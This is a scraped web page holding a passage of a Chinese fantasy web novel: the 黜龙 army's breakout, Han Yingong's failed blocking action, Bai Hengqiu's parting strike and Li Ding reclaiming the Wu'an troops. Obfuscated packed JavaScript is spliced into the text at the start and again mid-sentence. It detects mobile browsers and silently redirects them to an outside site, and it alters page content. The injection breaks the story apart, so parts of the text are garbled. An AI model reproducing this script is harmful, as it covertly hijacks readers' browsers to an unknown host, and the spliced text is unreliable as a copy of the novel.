l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16167947|180668||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一个要害问题。 周行范努力睁开眼睛,看了眼前两人一眼,却只是咬紧牙关,没有吭声。 “平原太远了,而且河对岸就有数万兵马,按照他们说法,西面和北面也有河间军。”程大郎立即言语,俨然是有了一个大胆腹案。“所以,我们将周头领送到东面清河如何?我自是货真价实的清河崔氏女婿,那边也有认识的人,只是偷偷送给他们,让他们将养着周头领,应该有人会识相,周头领也配合着我们部队只往西北面继续去寻首席。“ “还是太冒险,清河那里到底有一个宗师,真要被发觉了,生死都在人家一念之间。”徐世英也立即提出了一个方案。“我们等一会,上午的时候,再全军凫水过南岸如何?” 程知理一时不解。 “南岸大军上万,寻不到我们,必然不会为我们区区一千多人久留,咱们趁机折回,非但可以将小周头领送回去,还能全军回到平原整备”话到这里,徐大郎一声叹气。“这也是局势所迫,我的营没了甲械,骑兵营七零八落,人人负伤.在北岸遇到任意一支兵马,都要死无葬身之地的。” 程知理一时犹疑,只是勉力来言:“我们去了甲胄,恰好可以装作是崔氏的援军,还收拢了伤员未必不能去救援首席。” “可小周头领又如何呢?”徐大郎指向了再度闭目不语的周行范。 而也就是这时,周行范第二次睁开了眼睛,也给出了答复:“我跟着徐大郎就好徐大郎的长生真气比什么针药都好!离了徐大郎,我怕是立即要死!” 拄着惊龙剑的徐世英一时错愕。 “至于部队,就按照程大头领的意思来,咱们装作是崔氏的援军,往西北面寻首席去!”小周继续言道。“正好,我伤了,程大头领却是这支甲骑营的老头领,带着他们更利索!”…. 程大郎心中大动,而徐大郎心中一沉,却没有吭声。 “那就这么定了!”小周见状,直接对两个资历大头领下了命令。“三个人,两个要去西北寻张三哥的,那自然去寻张三哥;至于我的性命,我自己做主!现在这个局面,我不怕丢了性命,只怕干了这么多年黜龙帮的事业,临到此时没了结果!” 听到这里,程大郎不再犹豫,立即点头:“正该如此!” 周围围坐的军官、参军、文书、准备将、侍卫纷纷振奋。 而出乎意料,这一次,徐大郎并没有像昨晚那般充满了无奈感,或者说,他慢慢有些认命了因为他渐渐意识到,自己自开战以来被迫改变行动立场的种种机缘巧合,其实并不是某种巧合,而是张行那厮真的欺骗了一些人,让这些人为了他那不着边际、没有实际利害的黜龙大业而拼上性命而自己,因为处在这些人中间,被裹挟住了。 非只如此,如果说非说徐大郎这个时候有一点什么异样的情绪的话,那就是恐惧。 因为他发现,这种裹挟是可以传染的.程大郎其实也是被裹挟住的,是被他的旧部跟小周一起裹住,然后现在又来裹挟他徐大郎! 这委实让人有些无力,但也只能跟着他们随波逐流,相机而动了。 没办法的,真没办法的,徐大郎的处事水平还是有的,连程大郎都晓得不能做降人,晓得不能在旧部面前丢了立场,何况他呢? 想到这里,几乎是醒悟了什么的徐大郎忍不住看了一眼自己的亲卫首领.这厮现在是没说话的,之前却说了不少。 然而,这个当日在街上卖炊饼的汉子,从利益到理想再到生存,难道跟自己不是一体的?说不是一体的,根本没人信,他徐世英都不信。 那么此人的种种提醒,难道不是真心为了他徐大朗着想?所以,这个人的一些言语,莫非是替自己说出来的? 那些话和想法,本就是自己的想法? 聪明人就是想得多,如小周,说完话,见到意见一致,直接闭眼不语了。 而须臾片刻,随着雾气彻底消散,早晨的太阳照射下来,将河北大地照射的熠熠生辉,双月也都隐藏不见,商议妥当的这支兵马,吃了干粮,喝了河水,便将伤员抬上马,然后勒紧六合靴,挂上短兵,不顾一夜疲惫,追随着徐大郎与程大郎,便往西北面而去。 中午时分,借助了庞大的追兵的掩护,张行及其部属在克服了种种战斗、非战斗减员后已经逃出了原本的战场数十里,进入了襄国县的平乡境内。 这个时候,前方哨骑拼死来报,有一支联军突兀的出现在了前方官道路口,居中阻拦,打的旗号是“韩”字。 “是韩引弓!”面色发黄的马围抱着马脖子,几乎是不假思索的给出了判…. 断。“之前曹林出兵去关西,就有韩引弓引兵投奔白横秋的缘故,战前最新的情报是他引军自河东往太原去.他应该有**千人,都是他从徐州带回来的。” “**千人,之前又从未出现在联军大营,必然是预备给我们的后手。”崔肃臣须发皆被火燎,右腿上还有白横秋昨晚用红色棋子留下的伤口,俨然是文修不能经练战事,只能伏在马上分析。“他们是以逸待劳!” “那要不要绕过去?”轮换到前军的徐师仁紧张不已.事到如今,说会被阻击部队吓得失魂,那是胡扯,最多也就是紧张了。“从田地里走。” “绕也不好绕,他也不会坐视我们绕。”王叔勇略显烦躁。“他本就是要阻拦我们,我们多是步兵,绕行田野河沟,也是相当于被阻碍,而且很容易被地形分散,后面追兵顺着大路追来,我们又没了阵型,反而艰难。” “但是**千人太多了!”同样受伤的牛达也有些无力。“若是我们集中精锐不能一举突破,反而要引来追兵.” “只要开战,白横秋与薛常雄几乎是必然赶到的,这没办法。”雄伯南无奈道。“援兵在大陆泽?”一直没吭声的贾越忽然看向了一起跟上的张公慎。 “说是会往大陆泽来。”张公慎无奈道。“时间太紧了,我不晓得他们的路程。” “便是大陆泽也赶不及眼下的境况。”马围一句话说完,再不能支撑,直接落下马来,呕吐不止。 这位嗜酒如命的酒生本身还是有修为的,这一**并没有什么太大影响,而他的呕吐也多明显是之前在马上进食饮水,然后颠簸所致。 众人面面相觑,待马围吐完后被扶起来,几乎本能来看坐在黄骠马上的张行,只见后者披着短氅,虽然浑身烟尘灰土,却后背笔直,正在观察周围形势,却是不由也打起了不少精神。 “诸位。”张行见状,乃是原本想仿效曹丞相大笑的,却在看到士气尚可后只是微笑而已。“此时不该浪费时间说大话的,但还是要说.之前被围困时我便答应过诸位,一定要将大家带回去,也一定能带回去!今日也还是这句话!” 周边几人多少精神一振。 “做三件事。”张行继续在黄骠马上来言。“徐大头领和贾越现在去侦查前面的韩引弓,贾越看清楚他的兵力、配置,徐大头领跟他说说话叙叙旧,问他愿不愿意放我们一马?今日事将来必有厚报!总之,你有什么话都可以说!我这里做保证!” 徐师仁与贾越齐齐拱手,直接离去。 张行继续来言:“牛达,你去后军寻王雄诞,你们俩一起努力收拢掉队的兵马。” 牛达手臂受伤,单手抬起便勒马而去。 “最后,全军整肃,休息、进食、查看军械马匹,雄天王去见后军几位金刚,务必好生遮护,防止白横秋自后方突袭。”张行最后来言,说着居然直接翻身下马,就在怀里取出个饼子,还不忘分给刚刚呕吐的马围半个,便盘腿坐在地上,拿起水袋来吞咽。 周围人见状,也都纷纷仿效,只有雄伯南,他不敢飞起来,只是打马追上牛达,往后军去了。 过了片刻而已,也就是强行吞咽了半个饼子的时间,徐师仁与贾越一起回来了。 “首席。”徐师仁拱手回复。“韩引弓没有半点让开的意思,他说白横秋给他下了死命令,而且还想拖延住我,我就直接来了。” 听到这话的众人愈发严肃,但也有些人感觉到奇怪,因为徐师仁的表情非但没有沮丧,反而有些释然。 “韩引弓只有三四千人。”面无表情的贾越立即补充道。“防线不深,而且很仓促,壕沟都只有一条,还只有两尺深,他们抵达这里也不久。” 众人各自心动,不由看向了张行。 张行环顾四面,晓得士气可用,便毫不犹豫:“既如此就不必犹豫,狭路相逢勇者胜,立即杀过去!” “我去喊天王。”有人立即起身。 “不必,让天王与十三金刚继续断后防备,我跟诸位一起冲过去!”张行站起身来,翻身上了黄骠马,此时铁枪已失,只是拎着一把北地**而已。“韩引弓这次用命是因为惜命,既如此,咱们便和他拼命!而既要拼命,就从我这里开始!徐大头领、王五郎,借你二人金箭遮护,贾越率部在后,等我冲进去后就跟上与他们短兵相接!其余人次第而过!” 众人齐声道喏。 PS:大家节日玩的开心啊! pt. 第二百八十四章 山海行(31) 太阳刚刚偏西了一点,只休息了一刻钟的黜龙军便立即发动了进攻,而在对方发动进攻的同时,阻击部队的主帅韩引弓便主动后退。 这是预定方案,韩引弓心知肚明,别说四千兵路上还减了员,就算是八千满员兵马严阵以待也不可能是这黜龙军五营主力的对手,不是因为军队不能抵挡,而是因为高端战力差太多.他不晓得十三金刚的威力,但雄伯南与张行,徐师仁、王叔勇、贾越这些人他却早就耳朵磨出茧子了,而且是跟部分人有过交手的。 所以只能退,而且要退的坚决,退的果断,退的有章法。 因为退并不是放弃战斗,而是要层层叠叠,且战且退,迟滞阻碍,等待援军。 白横秋与薛常雄会率先赶来,压制黜龙军的高阶战力,而后续部队会包围黜龙军,逼迫上上下下早就疲惫不堪黜龙军崩溃,陷入被猎杀的地步.这是正经的方略。 说白了,就是赌一个时间差,看援兵来的快慢,看黜龙军这柄已经扎到最后的尖刀还利不利? 不过,抛开这一切,在黜龙军发动突袭、韩引弓率领核心的三个队往后撤的同时,这位少年时随从兄长经历过灭陈战斗,中年时因为对巫族的作战有功而登堂**,又在三征东夷过程中彻底圆滑起来的大魏资历大将,还是本能的意识到,这一战基本上没什么指望了。 因为黜龙军太果断了,果断的不像话,乃至于张行亲自冲阵,寒冰真气在正午时分激散的雾气委实骇人;而自己也到底是分了兵,少了足足一半兵,还刚刚抵达,没有工事依仗。 此消彼长,大概率是没了。但这关他什么事呢? 他跟刘扬基之间的分歧,现在看来是自己对了,而且分兵也是刘扬基主动要求的,现在抵挡不住难道要怪他?难道他没有坚决执行白横秋的军令作阻击? 自己的性命和军权其实已经尽力维护到了。 唯独既然恶了刘扬基,人家又早早投靠了英国公,那会不会趁机对英国公进谗言?而等白氏掌控关陇之后,自己是否能在白氏周边立得住脚?到时候是靠对巫族的战功,还是找姻亲故旧连结? 心思百转之中,韩引弓忽然想到一事,不由叹气。 原来,他忽然想到了自己的外甥李定本以为那厮比自己强,乱世一开,自己是往下掉,这厮是往上爬,多少还以为能让自己多个依仗。孰料,这英国公跟黜龙帮打了一架而已,两边不疼不痒的,眼瞅着是個平手,却先把自己这个外甥的独立性给打没了。 白横秋既然拿走了武安军的兵马,必然要施为的,此战之后,李定要么老老实实作白氏在河北的盾牌,硬生生挨黜龙帮的打,要么投了他好友张行,当对付白横秋的尖刀。 一念至此,韩引弓不由心烦意乱。…. 也就是这个的时候,前方雾气中忽然飞出两道真气,前一道带着淡金色,后一道显得有些发红,不过在白天日光的照射下都显得有些发白,且皆宛若流星一般飞速射来。原本还在乱想的韩引弓见状大惊失色,连忙弃马后弹。 结果,那前一道带着断江真气的长箭落在韩引弓坐骑上,将战马整个切断,血水脏污溅了数丈方圆不说,后一道裹着离火真气的长箭继续飞来,居然比前一道长箭多飞了二三十步,然后接地便炸裂开来。 刚刚落下的韩引弓猝不及防,虽没有直接中箭,却还是被整个掀翻,其中左臂更是受到冲击,一时灼热难忍,却是前一支箭引出的断江真气先擦过破了它的护体真气,然后后一支长箭引出的离火真气趁虚而入。 非只如此,其周遭亲信也多死伤,一名队将,多位参军、文书当场身亡,更有许多木器、衣物着起火来。 火光中,满身是马血的韩引弓爬起身来,来不及换马就按着肩膀狼狈往后退却。 这位关陇大将哪里还不醒悟?尽管他已经对黜龙军有所预判了,却还是不足!黜龙军比他想的更加果决,而且战力战术也超出自己想象。 到此时,他什么想法心思都无了,只是提起十二分精神求生罢了。 早在黜龙军撞到韩引弓的阻击部队之前,距离此地足足百里的地方,在黜龙军从西北面突出联军营盘那一刻便毫不犹豫纵马离开战场的李定夫妇便已经停在了清漳水上游的一处半永久性的浮桥前,然后从这里渡过了清漳水,从容来到了南岸。 等到这两支箭射出前的那一刻,这对夫妇也等来了他们此行的目标: 先是一队哨骑数十骑,他们停了下来,乖巧的立在了李定身后,充当了仪卫; 然后是一队前哨一百五十人,他们接到命令,直接停下,就在清漳水南岸的官道上横列起来,遮蔽了官道以及后军前进的方向; 再然后是樊梨花率领五百骑抵达,李定一挥手,樊梨花便立即带领这支部队转向官道南侧的撂荒野地中,与横列的一队步卒以及清漳水一起设置了一个套子,裹住了后方大军的前进方向; 紧接着是王臣愕,其部三千众,已经算是正经前军,其人闻得讯息,飞马而来,李定也不言语,只是往清漳水北岸一指,后者虽然心中一惊,但想起此战前双方言语,却是毫不犹豫朝李府君躬身一礼,然后便率部转上浮桥,抵达了清漳水对岸,顺着北面的官道往武安郡中而去。 到了这个时候,军队的异动再也无法遮掩,即便是没有人报信,后方的段威也终于察觉到了不妥,却是在派出一名自东都带来的参军后不久就得到了明确回复: “段公!是李府君,他在前方下令,武安军全体转向,回武安黑帝观安置!樊梨花部在做监督,王臣愕部已经开始转向!”…. 段威停在那里沉默片刻,复又在马上下令:“去寻王臣愕过来!”参军打马便走,须臾便折回:“王都尉已经过河!” 段威啧了一声,打马向前,主动来寻李定,须臾片刻,他便就见到了自己的老下属李定李四郎.真的是老下属,他自家担任兵部尚书许久,而李四郎也在兵部蹉跎许久.好像是一直负责修桥铺路? 双方见面,李定主动下马,而与此同时,王臣愕部自此处浮桥进行不断。“段公!”李定在马下拱手行礼。 “这是怎么回事?”段威只在马上不动,却看了眼同样纹丝不动的张十娘,他心里很清楚,这位堪称绝世美女的李夫人绝对是一位只在宗师之下的高手,自己壮年成丹,却渐渐荒废,已经远不是此女的对手了。 “回禀段公,天亮之前黜龙军 便自西北方向突围成功,如今已经全军往我治下襄国郡而去,我要武安军迅速折返,在武安郡立营,以作观察。”李定言辞干脆。“否则,在下怕是人地两失。” 段威明显诧异:“突围成功了?西北面?”“是。” 段威沉默片刻,然后来问:“东都军如何?” “白公故意置之不理,以至于被徐世英一个营打穿了半个大营堂而皇之走了,然后黜龙军西北面趁机突围出去,于是白公干脆让郑善叶带领全营剩下兵马出营去追.” 段威听到这里不由心下一紧,复又苦笑:“他倒是大气。” “白公自然大气,军队兵马随意抛洒。”李定负起手来,抬头看了看头顶太阳,这才正色道。“其实,若从慈不掌兵的道理来讲,抛洒兵马以图胜算是没问题的,再加上局势艰难,联军中可信的不可信的,弄成这样我倒不怨他只不过,如今张行不是已经领着黜龙军突围出去了吗?那我自然要收回兵马,维护地方,还请段公成全。” 说完,又是一礼。 而他身后,张十娘一声不吭,只是扶剑肃立在马上,旁边的武安军也依旧如改道的流水一般转到北面。 见此形状,段威只能一声叹气:“事到如今,莫说你讲的有道理,便是没道理,我也留不住你的兵马.只不过,李四郎,我可以走,你能在我走后抵挡住白公的威势吗?” “无妨的。”李定俨然早有思量。“今日之后,白公若能容忍罗术与薛公留在河北,自然也能容忍我留在河北,前提是武安军要回来。“ “你早有准备就好。”段威点点头,然后依旧在马上来言。“既如此,你去北面,我自去南面收拢逃兵." “这是自然。”李定继续言道。“若属下所料不差,白公之所以这般放任东都军,本意也有今日了结后,不论成败,立即折身去处置李枢的意思那只要守住几个要道,自然可以顺路收拾逃散的东都军。”…. “窦琦的儿子,叫什么来者,守着武阳郡官道那个?”段威瞬间会意。“窦历。” “啧!”段威立即颔首,却还是不动,反而就在头顶火辣辣的太阳下立住了坐骑。 而李定也不言语,过了一阵子,王臣愕部兵马过完,又一支后续兵马抵达, 在“两位主帅”全都无声也全都没有去做任何动作的情况下,却是毫不犹豫选择了左转走上浮桥,往北面武安而去。 这个时候,段威才好像回过神来,对着身前的李定道:“李四郎。”“段公。”李定依旧恭敬。 “事到如今,咱们下次再见不知道是何时了,我多说两句。”“是。” “人生于世,想要独立自主是很难的,有时候不得不屈从于人,这也没什么可丢脸的。” .” “但是,即便是屈从于人,也要想明白自己想要什么,想做什么,不能丢了不能丢了心里那口气.你明白我的意思吗?”段威言辞恳切。 “属下明白。”李定正色来答。 “那就好,那就好。”段威点头道,然后指向一侧樊梨花。“让这位五百主带骑兵护送我过去,接手武阳的太原留守部队后再论其他。” “好。”李定自然无话。 段威再度点点头,然后终于勒马转向,就在此处于春日午后的阳光下与李四郎分道扬镳。 李定目送对方与数百骑兵往南而去,也不急着翻身上马,而继续立在浮桥侧前方,监督部队渡河折返。 就在武安军被李定轻松夺回,部队越过浮桥约莫过半的时候,黜龙军也已经在张行的带领下完全突破了韩引弓布置数道防线,但也就是这个时候,不知道是走运还是不走运,白横秋与薛常雄也已经抵达此处战场。 伴随着大宗师抵达的,还有浮在空中的一颗巨大金色棋子以及一柄金刀,除此之外,一无所有。 很显然,追击部队过多过散,或者各有心思,根本没能继续维持之前的追击状态。 “落子吧!”薛常雄神情淡漠,心情轻松,理由也很充分。“前方已经突破,后方没有兵马跟上,这个样子反而省得纠结了,落下这一子就算尽心尽力了!” “你怎么好像一直不耐烦?”一直铁青着脸的白横秋转过头来问。“天亮前咱们不是已经在大营说清楚了吗?” “说清楚了,但这次不是我不耐烦,而是怕你不敢落子认输。”薛常雄言之凿凿。“白公,你最喜欢下棋,看架势也明显是以棋入道,既如此便该晓得,下棋最忌讳的便是局势已定,犹作纠结!这一局,当日一击不能中,昨夜又不能阻拦,便该只是尽人事听天命.况且,若以天下为局,那棋盘如斯大,就更不要耽误去东都落子去关西起龙了!” 白横秋先是一愣,继而失笑:“不错,这次是薛公比我通透。”…. 说完,其人不再犹豫,径直向前飞去,巨大的棋子宛若无物,随行无阻。 早就有准备的黜龙军后军立即卷起一面紫色大旗,明显是雄伯南亲自持那 面“黜”字旗在此断后,但白横秋根本不做理会,居然径直飞了过去,那卷大旗立即跟上,却明显在速度上差了一层。而再往后的黜龙军眼见于此,再加上之前夜间外加初次交战时的见识,却宛若受惊的野马一般狼狈逃窜,偏偏速度相差太远,只能如被分开的波浪一般往官道两侧的田野中逃窜。 眼见着身后雄伯南追来,而前方张行带领一众帮内精英鼓动着成团的寒冰真气折返,十三金刚又不知道在何处,白横秋毫不犹豫,忽然将足足数丈方圆的巨大金色棋子向着自己前方尚未来得及**的黜龙军战团砸去! 一子既落,炸裂破空之声遮盖住了一切,也似乎暂时停止了时间流动。 炸裂声之后,便是数不清的士卒哀嚎失措,是死伤遍地,是偌大平整的官道上忽然炸裂出一个巨大的断坑,是外围军官努力在维持秩序、收拢部队,是雄伯南的紫色大旗飞一般往断坑处飞来,是已经逃到一侧田野中的韩引弓猛地回头,心惊肉跳,是方圆数十里内的各方军队惊疑来看。 白横秋一击之后, 并不着急离开,而当空宣告:“张三郎,想要以一次突袭便来坏你势头,是我自大了,这一劫不用你说,我来告诉天下,算是你得手!但天下如局,足堪承万物,不止你我,但凡是这天下人都要来作这一局,届时谁胜谁负,还须看各人各处的努力!唯独一件事,那便是你要黜龙,我要成龙,其余各家或许还有说法,但你我之间必将势不两立!” “白公所言极是!仅此一战,我黜龙帮便损失精锐数以千计,以此一恨,也该势不两立!更不要说黜龙帮本就要黜落阁下这条龙了!”张行即刻在雾气中扬声来答,没有半点犹豫。 “彼此彼此!”白横秋忽然一笑,然后理都不理下方的紫色大旗,直接往南飞去,却是头也不回,径直走了。 此人既走,薛常雄随即收刀而走,韩引弓更大头也不抬往跟部队约定好的西侧襄国郡城池去了。 至于张行张首席,其人骑着黄骠马立在雾气中,面无表情的目送对方消失,心中却是如释重负与忧心忡忡并存。毕竟,这一击,不仅仅使得这早要结束的一战正式落下帷幕,也使得此间周边人再度认识到大宗师的威风,更是点明了双方立场! 黜龙帮要想真的立业,就必须要黜落这条龙! “救人,然后走!不要停,到大陆泽再说!”回过神来,张行即刻下马吩咐。“将伤员都抬上马,尸首就地整理,先放到坑内,斫树木遮蔽,回头再来祭奠!” 周围人轰然应诺,几位高手更是亲自去伐木、取木,而周遭雾气散去,金光消失,却是将整个大地的本来面目都给重新显露了出来。…. 而到了傍晚时分,黜龙军突围主力终于抵达大陆泽。 大陆泽面积广阔,水泊与港湾交错,春日间,芦花已被春风吹落的差不多,但郁郁葱葱的新绿与枯黄未败的旧苇干交错,反而更加密集,这使得部队一旦散入,根本便很难寻到踪迹,更没有追兵会选择投入其中。 黜龙军进入,迅速被地形分割开来,然后各自落脚,张行等人只寻到一处明显是疏通河道时淤泥堆砌的矮脚土山,也匆匆落地休整没办法,部队已经到了极限,根本撑不下去了。 实际上,刚刚坐下来,汇报便接连不断,而且多是坏消息: “路上点了个大概,刚才又看了下,估计还剩六千多人,其中行动不便的伤员超过两成.” “战死这么多?我们五个营加上零散的,满员一万多人!” “不至于,走散的太多了我估计这次突围战死的也就是一千多。” “也还是太多了,别忘了还有徐大郎跟小周,尤其是小周那个甲骑营,之前那一战就损失极重,这一次诱敌还被夹击.”” “不错,不止是这次突围,还有一开始跟白横秋硬碰硬的那一仗,也死伤不少。” “现在想这些没用,关键是眼前,眼前最大的麻烦是什么?” “粮食完全不足,咱们突围只带了一日夜的干粮,吃了一两顿,又丢了许多,怕是一顿饭都不足。” “那就先一顿饭,崔分管去负责此事,收拾芦苇,用头盔烧水,泡饭、泡饼,能抓鱼的抓鱼,水草螃蟹**都可以吃!实在不行杀受伤的马,不要耽误晚饭!” “先吃这一顿,但不到万不得已还是不要杀马,许多马只是累垮了,以后回平原还用得上。” “军械也不齐了,甲胄、兵器路上抛洒的太严重。” “所以要在这里等援军,我们需要援军接应,然后去安全地方休整妥当,再图折返。” “只能如此了,只不过援军可信吗?我们与晋北只是名义上的统属,私人交际也只有区区几条线,北地荡魔卫连盟友都算不上”王叔勇忽然提出一个问题。 “这倒不用担心。”马围瘫在一堆芦苇杆上,喘着粗气来答。“一来,白横秋忽然出红山到河北来,逼的所有人分野,不是彼就是此,晋北和北地那些人,只要没投奔白横秋,此时就可以依仗;二来,白横秋现在走了,他们更不会轻易反水;三来,咱们高手多,不怕他们!” “那他们什么时候到?”王叔勇想了一想,就势追问。“还是已经到了,在大陆泽里迷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16167948|180668||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路了?又或者碰到联军哪一支兵马,走不动了?” 众人对这个问题多显得茫然。 而稍待片刻,一直没吭声的张公慎见到其他人都不说话,方才正色来言:“要不我去找一找、迎一迎?襄国郡再往北,赵郡、代郡那边我其实还算熟,援军我也见过北地那边张首席的舅舅。”…. “不用!”张行立即摆手。“若是他们在大陆泽北面迷路了,等马上咱们点起篝火,到了晚上他们自然会寻到这里;若是还没到或者路上受阻了,等明日请雄天王和伍大头领往北面走一遭便是.公慎你就不要去了,事到如今,你只当自己在这一战中**,反正决不能让你再冒险,真出了什么意外,我们这些人要后悔一辈子的!” 张公慎想了一想,直接点头。 话到这里,许多人都松快起来,再加上篝火已经点燃,原本站着的人也多坐卧下来。 唯独喘匀气的马围却努力坚持自己的工作职责,却继续说了下来:“其实,援军立场无须怀疑是一回事,可援军会不会起二心则是另外一件事" “什么意思?” 篝火旁,众人再度紧张起来,张行也一时没反应过来。 “我们虽然逃了出来,但人困马乏,死伤颇多,衣甲都不全,更重要的是孤悬敌后,还要借助援军的力量那些人跟我们交情不深,万一起了轻视之态怎么 办?”马围显然想的多。 “不至于吧,咱们后面地盘摆着呢,只是暂时挂在外面。”王叔勇皱眉道。“到了这份上,难道还有人不知道咱们黜龙帮的威势?” “不好说,尤其是北地那里,信息隔绝,晋北那里其实也有些巫族混血的部落,目光短浅、很不懂事。” “真轻视了也就轻视了。”监督完主要部队进入大陆泽后才过来牛达晃着胳膊插嘴。“事到如今,凡事都是为了脱困转回去,只要能回去,还怕被人轻视吗?” 雄伯南以下,汇集过来的头领几乎人人颔首,表示赞同,便是提出这个忧虑的马围也跟着点头,显然是认可的。 r>倒是张行只是点头,却莫名有了些思量。 就这样,随着太阳落山,篝火渐次燃起。而到此为止,众人全都累的不行,即便是雄伯南、十三金刚天亮前硬顶了白横秋两个棋子,其实也都内里虚了起来,所以,抵达大陆泽后全军便都放松,而刚刚听到马围分析局势,晓得最后一个危险其实也不大后,即便是这些领军头领也都彻底放下心来。 一时间,大陆泽内星星点点,远远便能望见,却意外的安静了下来.或者说,晚风再起,尤盛昨夜,诸如伤兵呻吟、少数巡夜人员往来的动静,全都被夜风给吹散了。 不过,到了午夜的时候,忽然有一支规模不小的兵马从大陆泽的东侧进入,然后第一时间便惊动了恢复了部分行动力的黜龙军,雄伯南和伍惊风一起去查看,却惊讶发现,来者居然是徐世英、程知理和周行范,三人居然带领着之前分兵做诱饵的两个营来到此地。 折腾了一阵子,部队汇集起来,包括被抬着的周行范,三将一起来到张行身前。周围头领个个惊异,纷纷来问。…. “伤势如何?”便是张行,在见到周行范伤势后,也赶紧起身查看。 “不碍事,能活下来。”刚刚被放下的小周就在火堆旁脱口而对,打断了徐世英的介绍。“只是可惜,甲骑营之前便损失颇多,这一战更是失散许多,这怕是黜龙军第一个被打残废的营头.委实对不住上上下下的兄弟们。” “无妨,兵马散了再聚,营头废了再起,人伤了再养起来,只要行事无愧于心,没有谁对不住谁的?”歇息过来的张行立即扬声安慰。“你与甲骑营的兄弟自是黜龙帮的根基!” 雄伯南也随即开口:“不错,好汉子都是捶打出来的,今日之后,谁敢说你的甲骑营不是我们黜龙帮的根基?” 小周闻言也坦然点头,受了这个说法,然后便闭目养神。 眼看着张行与周行范交谈妥当,徐大郎这才上前,却是捧着惊龙剑奉上:“首席,幸不辱命,这剑我给你带回来了!” “送出去的东西哪有收回来的道理?”张行看了眼徐大郎,忽然一笑。“我昨夜说了,从今往后,你来替我执剑,依然是作数的。” 徐大郎还要说话,张大首席却环视四周,来下军令:“诸位,我之前将此剑交予徐大郎,本意是担心我们从西北突围被隔绝在根据地之外,不能相顾,所以托付徐大郎彼处军务现在他来了,我还是这个意思.徐大郎智勇双全,英武过人,更重要的是,他能上能下,不因为自己的地位变更就生出杂念,始终任劳任怨,委实是咱们黜龙帮自家的豪杰,怎么能不托以重用?现在部队军务就交给徐大郎来处置!以图早日回军!” 徐大郎这次没有头皮发麻,只是一躬身,便心情复杂的收回了这把长剑。 这个时候,张行才看向了程大郎,却只是一点头:“程大郎来了就好!小周伤重,甲骑营是你旧部,你暂时来带领!” 竟然没问对方如何弃了平原太守职责。 没办法,事情太多了,人也太多了,军队也太疲敝了,话只能挑关键的说,心思也只能放在严肃的事情和关键的人身上。 当然了,最重要的一点是,张行心知肚明,这里就没有比徐、程两人更精明的存在,有些东西心照不宣着,留在日后再表达出来也无妨。 果然,程大郎也只是一点头,就没再说什么。 而到了这里,张行想了一想,却是忽然记起来一件重要事情,然后也不急着重新去休息,反而在火堆旁继续缓缓开口了:“诸位,既然大家都齐了,士卒也安睡了,我也该跟大家说个实话了。” 众头领皆诧异起来。 “伏龙印只当日被太原军追上时与白横秋对一两次便碎了。”张行说着,从怀里掏出一个小袋子,将其中铜印碎渣倒了出来,摊在手上。“我从那一日便唬着白横秋,而此事事关重大,重围之中,也不敢说与任意人来听。”…. 雄伯南以下,几乎全员陷入到了某种奇怪氛围的沉默中,几乎人人目瞪口呆,伍惊风更是在身体摇晃片刻后亲手去查看。当然,几乎所有人都在第一时间就相信了,但这不耽误他们为此事感到惊异,便是回过神来的徐世英此时也有些精驰神摇的感觉。 太狠了。这个人居然忍住了! “还有,我有个想法,只是想法,刚刚才起的”张行将付龙印碎渣倒给伍惊风后继续来言。“若是白横秋撤的快,联军摊子碎到不可收拾,而我们的援军又能及时汇合,那我想试试往南走,从武安—武阳—清河回去!” “什么意思?”徐世英大惊。 “就是杀个回马枪的意思。”张首席坦荡回复。“杀谁?”徐世英还是不安。 “李定。”张行给出了答复。“他的兵马被白横秋在咱们突围给带走了,不管是怎么个过程,哪怕他再轻松夺了回来,也必然会军心动摇.我们这个时候反扑回去。” 太胆大了! 徐世英有些震惊,却又飞速思考事情的可能性。 “打他个措手不及?”马围认真来问。“逼降他?” “是。” “可成功的前提是白横秋走的极快,联军其他各部也都走的极快,没人来得及回身支援,而且要吓到李定。”徐世英小心翼翼来分析。“仅凭援军的几千人,不大可能吓到这位吧?” “确实,但如果是那样,我们就趁机转身,从原本的战场那里逃回平原去。”张行干脆来言。 太狡猾了! 徐世英心中感慨,却连连摇头:“白横秋之外,还有王怀通、崔傥两位宗师,前者很可能会从武安折回太原,后者就在我们回去路上我们这般狼狈,连下顿饭都不知道在哪里,还是太冒险了。” “不错,所以只是个想法。”张三反而笑了。“看看局势发展再说。”徐世英等人都无话可说。 黝黑的夜色中,南风不断,武安郡黑帝大观中,并不晓得张行胆大包天正在打自己主意的李定,此时殊无夺回兵权的喜色,而是立在黑帝观的大堂中,用一种略显愤懑和蔑视的表情来看堂上黑帝爷的雕塑。 似乎在纠结什么,又似乎是在忍耐什么。 大堂外的空地上,便是密密麻麻的军帐,是他的武安军。 pt. ... 第二百八十五章山海行(32) 李定定定的立在武安郡大黑帝观的大堂上,除了张十娘站在门内,堂中并无他人,而堂上也只在黑帝爷的雕塑旁起了一个火盆,火光不停随风摇曳,照的黑帝爷的面色阴晴不定。 堂外是偌大的校场上,校场上密密麻麻全都是刚刚折回武安军的帐篷,周围永久性的营房内也全都塞满了人得益于李定拦截部队的时机与地点,到了此时,武安军早已经安置妥当,偌大的军营也都早早安静了下来。 不过,这种安静并没有持续多久,从后半夜开始,大黑帝观周边便蹄声、铃声不断,既有之前放出的哨骑陆续折回,也有各处闻得此间讯息派来打探消息的使者。 很是惊扰到了其实还是有些心绪不定的武安军。 唯独李定治军极严,士卒们却不敢喧哗,将领们也不敢轻易在夜间过来打听情况。 实际上,就连李定似乎也保持了某种淡漠姿态这些使者往来不断,却都只是来到大堂门槛外汇报交流,而李府君却只是全程立在堂中来听,连头都不回的。 至于说听到的讯息结果,只能说,局势比李定想的还要糟糕不是离谱,而是糟糕因为李府君确实从中察觉到了危险。 “张公慎是黜龙帮的人?”李定回头来看,死死盯住了自己的爱徒。“北地和晋北有援军?” 